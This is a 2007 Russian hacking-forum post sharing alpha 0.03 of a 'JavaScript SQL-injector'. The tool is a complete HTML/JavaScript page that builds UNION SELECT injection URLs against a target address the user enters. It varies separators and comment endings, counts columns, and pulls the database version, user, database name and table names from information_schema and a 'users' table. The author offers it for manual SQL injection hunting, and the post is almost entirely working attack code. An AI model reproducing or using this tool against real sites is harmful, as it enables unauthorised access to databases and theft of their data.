Показать сообщение отдельно

  #18  
Старый 30.10.2007, 15:19
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Новая версия! (alpha 0.03)
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<
html xmlns="http://www.w3.org/1999/xhtml"
<
style>  
  
body  
  
{   
   
padding:10px;   
   
background:#2A2E33;   
   
font-family:tahomaverdanaarial;   
   
font-size:14px;   
   
text-align:center;   
   
color:#B9B9BD;   
  
}  
  
form  
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px;   
   
margin:0 auto;   
  } 
  
iframe 
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px
   
height:500px;   
   
margin:0 auto;   
  }  
  
input  
  
{   
   
vertical-align:middle;   
   
margin:1px 0;   
   
padding-right:10px;   
   
border:1px solid #336600; 
   
padding:2px;   
   
background:#363940;   
   
color:#B9B9BD;   
  

  
div  
  
{   
  
display:none;   
  }     
  </
style>  
<
head
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>JavaScript SQL-injector by -=lebed=-</title
</
head

<
script
var 
sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";

var 
end =new Array(); /*комментарий (коцовка)*/
end[0]="/*";
end[1]="--";

var 
limit =new Array(); /*limit*/
limit[0]="";
for (
i=1100i++) {limit[i]=i;}

var 
tables_name =new Array(); /*имена таблиц*/
tables_name[0]="";
tables_name[1]="information_schema.tables";
tables_name[2]="users";


= new Array()
for (
i=1100i++) {
   
t[i] = new Array() 
   
t[i][0] = i;
   
t[i][1] = "version()";
   
t[i][2] = "user()";
   
t[i][3] = "database()";
   
t[i][4] = "concat(version(),0x3a,user(),0x3a,database())";
   
t[i][5] = "table_name";
   
}


var 
url="http://"/*целевой URL*/
var tek_url=url/*текуший URI*/
var s=""/*накопитель*/
var n=0
var 
m=0;


function 
get_url(f) {
      
url=document.search.url.value;
      
n=1;    
      
b=document.search.separator.value;
      
p=document.search.parametr.value;
      
stlb=document.search.stolbec.value;
      
tabl=tables_name[document.search.n_table.value];
      
lm=limit[document.search.limit_n.value]
      
      if (
stlb!=1)
      {
s=t[n][0]}
      else {
s=t[n][document.search.output.value];}
while (
n<document.search.colum.value)
      {
      
n++;
      if (
n!=stlb) {m=0;}
      else {
m=document.search.output.value;}
      
      if (
n==1) {s=t[n][document.search.output.value];} 
      else {
s=s+","+t[n][m];}
       
      }
      
      if (
document.search.n_table.value!=0)
      {
tabl=sp[b]+"from"+sp[b]+tables_name[document.search.n_table.value];}  
      
      if (
document.search.limit_n.value!=0)
      {
lm=sp[b]+"limit"+sp[b]+limit[document.search.limit_n.value]+",1";} 
      
      
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+tabl+lm+end[document.search.end_of.value];
      
document.search.tek_url.value=tek_url
      
document.search.colum.value=n;     
      
changePage(tek_url); 
      
pause (); 
}

function 
inc(f) {
    
document.search.colum.value++
    
get_url(f)
}
     
function 
dec(f) {
     
document.search.colum.value--
     
get_url(f)
}

function 
changePage(p) { 
        
document.getElementById"ifrm" ).src p
     } 

</
script
<
form name=search method=post
  <
label>Ведите путь до уязвимого скрипта 
  
<input name="url" value="http://" size=110%> 
  </
label><br
  
параметр: <input size=5 name=parametr value="-1">
  
разделитель: <select name=separator>
              <
option value=0 selected>+
              <
option value=1>/**/
              
<option value=2>пробел
              
</select>
  
лимит: <select name=limit_n>
              <
option value=0 selected>?
              <
option value=1>1
              
<option value=2>2
              
<option value=3>3
              
<option value=4>4
              
<option value=5>5
              
<option value=6>6
              
<option value=7>7
              
<option value=8>8
              
<option value=9>9
              
<option value=10>10
              
<option value=11>11
              
<option value=12>12
              
<option value=13>13
              
<option value=14>14
              
<option value=15>15
              
<option value=16>16
              
<option value=17>17
              
<option value=18>18
              
<option value=19>19
              
<option value=20>20
              
</select>          
   
комментарий: <select name=end_of value=0>
              <
option value=0 selected>/*
              <option value=1>--
              </select>
              
  колонок: <input size=5 name=colum>
  <input onClick=inc(search); type=button value="+" name=calculateit>
  <input onClick=dec(search); type=button value="-" name=calculateit>
  <input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
  Вывод: <select name=output>
              <option value=0 selected>цифры1,2,3...
              <option value=1>version()
              <option value=2>user()
              <option value=3>database()
              <option value=4>concat(version(),user(),database())
              <option value=5>table_name
              </select> 
  В столбец №: <input size=5 name=stolbec value=1>
  из: <select name=n_table value=0>
              <option value=0 selected>?
              <option value=1>information_schema.tables
               <option value=2>users
              </select>
  <br>
  текущее значение: <input name=tek_url size=110% readonly>

</form> 
<body onload="changePage()"> 
    <iframe id="ifrm" src="" width="100%" height="500%"/> 
  </body> 

</html> 
Добавлено:
- вывод полезной инфы в отображаемый столбец.
- добавлена возможность использовать LIMIT
- добавлена работа с INFORMATION_SCHEMA
В Планах:
- наращивание функционала;
- пополнение списка имён таблиц и названий колонок

Зы: Рекомендую затестить, тем кто ищет скули ручками и отписать замеченные баги (если есть).

Последний раз редактировалось -=lebed=-; 30.10.2007 в 18:22..
 
Ответить с цитированием